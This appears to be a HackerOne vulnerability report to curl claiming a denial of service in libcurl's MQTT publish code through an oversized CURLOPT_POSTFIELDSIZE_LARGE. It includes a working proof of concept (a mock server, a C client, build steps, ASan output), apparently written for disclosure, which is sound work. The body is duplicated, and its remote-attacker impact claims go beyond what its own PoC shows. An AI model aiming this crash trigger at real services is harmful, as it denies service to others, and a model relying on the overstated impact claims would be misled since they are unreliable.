Description
## Summary
An attacker can crash or forcefully abort any application that uses libcurl's MQTT support by setting an excessively large value for `CURLOPT_POSTFIELDSIZE_LARGE`. The MQTT publish logic (`lib/mqtt.c::mqtt_publish`) trusts this value without validating it against the protocol's maximum remaining length (268,435,455) and without checking for arithmetic overflow. As a result, it attempts to allocate an impossibly large buffer (several exabytes) and immediately fails with either an abort (AddressSanitizer) or a `CURLE_OUT_OF_MEMORY` error, terminating the process and causing a Denial of Service.
## Impact
- **Availability:** Any service that allows untrusted input to influence `CURLOPT_POSTFIELDSIZE(_LARGE)`โfor example, user-controlled message lengths or proxied MQTT requestsโcan be brought down instantly. A single malicious request is enough to trigger the crash.
- **Stability:** Even in non-ASan builds, the call consistently returns `CURLE_OUT_OF_MEMORY`; applications that treat this as fatal (common for MQTT producers) will shut down. When compiled with sanitizers, the process aborts on the spot due to an "allocation-size-too-big" assertion.
- **Scope:** No authentication or man-in-the-middle capability is required. Simply making the client construct a publish request with a massive length triggers the bug.
## Attack Scenario
1. The attacker convinces a libcurl-based MQTT client or gateway to publish a message whose size field is set to ~4 exabytes (or any value over 0x0FFFFFFF).
2. The client calls `curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE_LARGE, huge_value)` and eventually invokes `curl_easy_perform()`.
3. Inside `mqtt_publish`, libcurl calculates the MQTT remaining length as `payloadlen + topiclen + 2`, which wraps or exceeds the MQTT specification limit. It then calls `malloc(remaininglength + 1 + encodelen)`.
4. `malloc()` cannot satisfy the request and aborts (ASan) or returns NULL (if `allocator_may_return_null=1`). In either case, the application dies or enters a failure state, causing a denial of service without ever sending the payload to the broker.
## Proof of Concept
Two files are needed: a minimal MQTT mock server and a client PoC that sets an oversized payload length.
### `mqtt_server.py`
```python
import socket
HOST, PORT = "127.0.0.1", 1883
CONNACK = b"\x20\x02\x00\x00"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f"[server] listening on {HOST}:{PORT}")
conn, addr = s.accept()
with conn:
print(f"[server] accepted connection from {addr}")
data = conn.recv(1024)
print(f"[server] received {len(data)} bytes")
conn.sendall(CONNACK)
print("[server] sent CONNACK")
conn.recv(1024)
print("[server] received publish (possibly truncated)")
```
### `mqtt_overflow.c`
```c
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(!curl) {
fprintf(stderr, "curl_easy_init failed\n");
return 1;
}
const char payload[] = "X"; /* actual data: 1 byte */
const curl_off_t fake_size = ((curl_off_t)1 << 62); /* advertise ~4 EB */
curl_easy_setopt(curl, CURLOPT_URL, "mqtt://127.0.0.1:1883/topic");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, fake_size);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT_MS, 2000L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 3000L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
fprintf(stderr, "[*] requesting payload size: %lld\n", (long long)fake_size);
CURLcode res = curl_easy_perform(curl);
fprintf(stderr, "curl_easy_perform: %d\n", res);
curl_easy_cleanup(curl);
return (int)res;
}
```
### Build & Run
```bash
# Configure and build libcurl with MQTT enabled (example using CMake)
cmake -S . -B build-mqtt -DCMAKE_BUILD_TYPE=Debug -DCURL_USE_LIBPSL=OFF
cmake --build build-mqtt --target libcurl_shared -- -j8
# Compile PoC with AddressSanitizer
clang -fsanitize=address -Iinclude -Ibuild-mqtt/lib \
-Lbuild-mqtt/lib -Wl,-rpath,build-mqtt/lib \
build-mqtt/poc/mqtt_overflow.c -lcurl-d -o build-mqtt/poc/mqtt_overflow
# Launch mock server and execute PoC
python3 build-mqtt/poc/mqtt_server.py &
build-mqtt/poc/mqtt_overflow
```
### Observed Output (ASan build)
```
[*] requesting payload size: 4611686018427387904
* Trying 127.0.0.1:1883...
* Established connection to 127.0.0.1 (127.0.0.1 port 1883) from 127.0.0.1 port 62013
* Using client id 'curlgqXILtsX'
==12584==ERROR: AddressSanitizer: requested allocation size 0x400000000000000c ...
SUMMARY: AddressSanitizer: allocation-size-too-big mqtt.c:616 in mqtt_publish
==12584==ABORTING
```
### Observed Output (allocator may return NULL)
```
$ ASAN_OPTIONS=allocator_may_return_null=1 build-mqtt/poc/mqtt_overflow
[*] requesting payload size: 4611686018427387904
==13457==WARNING: AddressSanitizer failed to allocate 0x400000000000000c bytes
curl_easy_perform: 27
```
The mock server log confirms that the connection is opened, a CONNACK is returned, and the client terminates immediately while trying to publish.
## Root Cause
Excerpt from `lib/mqtt.c`:
```c
remaininglength = payloadlen + 2 + topiclen;
encodelen = mqtt_encode_len(encodedbytes, remaininglength);
pkt = malloc(remaininglength + 1 + encodelen);
if(!pkt) {
result = CURLE_OUT_OF_MEMORY;
goto fail;
}
...
memcpy(&pkt[i], payload, payloadlen);
```
- `payloadlen` comes directly from `CURLOPT_POSTFIELDSIZE_LARGE`.
- There is no check that `payloadlen` stays within the MQTT specification (maximum remaining length 0x0FFFFFFF) or within any safe memory bounds.
- `remaininglength + 1 + encodelen` is computed in `size_t`, so it can wrap or exceed practical memory limits.
- On failure, the function never reaches the publish stage, effectively crashing the client before any data is sent.
## Recommended Mitigation
1. **Validate `payloadlen`:** Reject any request where `payloadlen > 0x0FFFFFFF - (topiclen + 2)` and return `CURLE_BAD_FUNCTION_ARGUMENT`.
2. **Overflow Guard:** Before calling `malloc`, ensure the sum `remaininglength + 1 + encodelen` cannot overflow and fits within a reasonable bound.
3. **Protocol Compliance:** Consider capping `mqtt_encode_len` to 4 bytes and aborting if the encoded length would exceed MQTT's remaining length limit.
4. **Regression Test:** Add a unit or integration test that attempts to set an oversized `CURLOPT_POSTFIELDSIZE_LARGE` and ensures the call fails gracefully.
## Environment
- macOS 15.0 (24A335)
- Apple Clang 17.0.0.17000319
- curl 8.17.1-dev (CMake build with MQTT enabled)
- AddressSanitizer (default settings) and libc runtime without ASan
## Severity
Medium โ Denial of Service via integer overflow / uncontrolled resource consumption (CWE-190 / CWE-400).
## References
- MQTT Specification (v3.1.1) โ Remaining Length field is limited to 268,435,455
- curl security program: <https://hackerone.com/curl>
## Impact
- Remote attacker can forcefully terminate any libcurl-based MQTT client or service by advertising an oversized MQTT payload.
- The malformed request causes libcurl to attempt an allocation of several exabytes, which immediately aborts the process (ASan) or returns CURLE_OUT_OF_MEMORY, effectively denying service.
- No authentication or special network position is required; a single malicious publish request suffices to crash the application.
An attacker can crash or forcefully abort any application that uses libcurl's MQTT support by setting an excessively large value for `CURLOPT_POSTFIELDSIZE_LARGE`. The MQTT publish logic (`lib/mqtt.c::mqtt_publish`) trusts this value without validating it against the protocol's maximum remaining length (268,435,455) and without checking for arithmetic overflow. As a result, it attempts to allocate an impossibly large buffer (several exabytes) and immediately fails with either an abort (AddressSanitizer) or a `CURLE_OUT_OF_MEMORY` error, terminating the process and causing a Denial of Service.
## Impact
- **Availability:** Any service that allows untrusted input to influence `CURLOPT_POSTFIELDSIZE(_LARGE)`โfor example, user-controlled message lengths or proxied MQTT requestsโcan be brought down instantly. A single malicious request is enough to trigger the crash.
- **Stability:** Even in non-ASan builds, the call consistently returns `CURLE_OUT_OF_MEMORY`; applications that treat this as fatal (common for MQTT producers) will shut down. When compiled with sanitizers, the process aborts on the spot due to an "allocation-size-too-big" assertion.
- **Scope:** No authentication or man-in-the-middle capability is required. Simply making the client construct a publish request with a massive length triggers the bug.
## Attack Scenario
1. The attacker convinces a libcurl-based MQTT client or gateway to publish a message whose size field is set to ~4 exabytes (or any value over 0x0FFFFFFF).
2. The client calls `curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE_LARGE, huge_value)` and eventually invokes `curl_easy_perform()`.
3. Inside `mqtt_publish`, libcurl calculates the MQTT remaining length as `payloadlen + topiclen + 2`, which wraps or exceeds the MQTT specification limit. It then calls `malloc(remaininglength + 1 + encodelen)`.
4. `malloc()` cannot satisfy the request and aborts (ASan) or returns NULL (if `allocator_may_return_null=1`). In either case, the application dies or enters a failure state, causing a denial of service without ever sending the payload to the broker.
## Proof of Concept
Two files are needed: a minimal MQTT mock server and a client PoC that sets an oversized payload length.
### `mqtt_server.py`
```python
import socket
HOST, PORT = "127.0.0.1", 1883
CONNACK = b"\x20\x02\x00\x00"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f"[server] listening on {HOST}:{PORT}")
conn, addr = s.accept()
with conn:
print(f"[server] accepted connection from {addr}")
data = conn.recv(1024)
print(f"[server] received {len(data)} bytes")
conn.sendall(CONNACK)
print("[server] sent CONNACK")
conn.recv(1024)
print("[server] received publish (possibly truncated)")
```
### `mqtt_overflow.c`
```c
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(!curl) {
fprintf(stderr, "curl_easy_init failed\n");
return 1;
}
const char payload[] = "X"; /* actual data: 1 byte */
const curl_off_t fake_size = ((curl_off_t)1 << 62); /* advertise ~4 EB */
curl_easy_setopt(curl, CURLOPT_URL, "mqtt://127.0.0.1:1883/topic");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, fake_size);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT_MS, 2000L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 3000L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
fprintf(stderr, "[*] requesting payload size: %lld\n", (long long)fake_size);
CURLcode res = curl_easy_perform(curl);
fprintf(stderr, "curl_easy_perform: %d\n", res);
curl_easy_cleanup(curl);
return (int)res;
}
```
### Build & Run
```bash
# Configure and build libcurl with MQTT enabled (example using CMake)
cmake -S . -B build-mqtt -DCMAKE_BUILD_TYPE=Debug -DCURL_USE_LIBPSL=OFF
cmake --build build-mqtt --target libcurl_shared -- -j8
# Compile PoC with AddressSanitizer
clang -fsanitize=address -Iinclude -Ibuild-mqtt/lib \
-Lbuild-mqtt/lib -Wl,-rpath,build-mqtt/lib \
build-mqtt/poc/mqtt_overflow.c -lcurl-d -o build-mqtt/poc/mqtt_overflow
# Launch mock server and execute PoC
python3 build-mqtt/poc/mqtt_server.py &
build-mqtt/poc/mqtt_overflow
```
### Observed Output (ASan build)
```
[*] requesting payload size: 4611686018427387904
* Trying 127.0.0.1:1883...
* Established connection to 127.0.0.1 (127.0.0.1 port 1883) from 127.0.0.1 port 62013
* Using client id 'curlgqXILtsX'
==12584==ERROR: AddressSanitizer: requested allocation size 0x400000000000000c ...
SUMMARY: AddressSanitizer: allocation-size-too-big mqtt.c:616 in mqtt_publish
==12584==ABORTING
```
### Observed Output (allocator may return NULL)
```
$ ASAN_OPTIONS=allocator_may_return_null=1 build-mqtt/poc/mqtt_overflow
[*] requesting payload size: 4611686018427387904
==13457==WARNING: AddressSanitizer failed to allocate 0x400000000000000c bytes
curl_easy_perform: 27
```
The mock server log confirms that the connection is opened, a CONNACK is returned, and the client terminates immediately while trying to publish.
## Root Cause
Excerpt from `lib/mqtt.c`:
```c
remaininglength = payloadlen + 2 + topiclen;
encodelen = mqtt_encode_len(encodedbytes, remaininglength);
pkt = malloc(remaininglength + 1 + encodelen);
if(!pkt) {
result = CURLE_OUT_OF_MEMORY;
goto fail;
}
...
memcpy(&pkt[i], payload, payloadlen);
```
- `payloadlen` comes directly from `CURLOPT_POSTFIELDSIZE_LARGE`.
- There is no check that `payloadlen` stays within the MQTT specification (maximum remaining length 0x0FFFFFFF) or within any safe memory bounds.
- `remaininglength + 1 + encodelen` is computed in `size_t`, so it can wrap or exceed practical memory limits.
- On failure, the function never reaches the publish stage, effectively crashing the client before any data is sent.
## Recommended Mitigation
1. **Validate `payloadlen`:** Reject any request where `payloadlen > 0x0FFFFFFF - (topiclen + 2)` and return `CURLE_BAD_FUNCTION_ARGUMENT`.
2. **Overflow Guard:** Before calling `malloc`, ensure the sum `remaininglength + 1 + encodelen` cannot overflow and fits within a reasonable bound.
3. **Protocol Compliance:** Consider capping `mqtt_encode_len` to 4 bytes and aborting if the encoded length would exceed MQTT's remaining length limit.
4. **Regression Test:** Add a unit or integration test that attempts to set an oversized `CURLOPT_POSTFIELDSIZE_LARGE` and ensures the call fails gracefully.
## Environment
- macOS 15.0 (24A335)
- Apple Clang 17.0.0.17000319
- curl 8.17.1-dev (CMake build with MQTT enabled)
- AddressSanitizer (default settings) and libc runtime without ASan
## Severity
Medium โ Denial of Service via integer overflow / uncontrolled resource consumption (CWE-190 / CWE-400).
## References
- MQTT Specification (v3.1.1) โ Remaining Length field is limited to 268,435,455
- curl security program: <https://hackerone.com/curl>
## Impact
- Remote attacker can forcefully terminate any libcurl-based MQTT client or service by advertising an oversized MQTT payload.
- The malformed request causes libcurl to attempt an allocation of several exabytes, which immediately aborts the process (ASan) or returns CURLE_OUT_OF_MEMORY, effectively denying service.
- No authentication or special network position is required; a single malicious publish request suffices to crash the application.
Basic Information
ID
H1:3417428
Published
Nov 9, 2025 at 05:51
Modified
Nov 10, 2025 at 15:00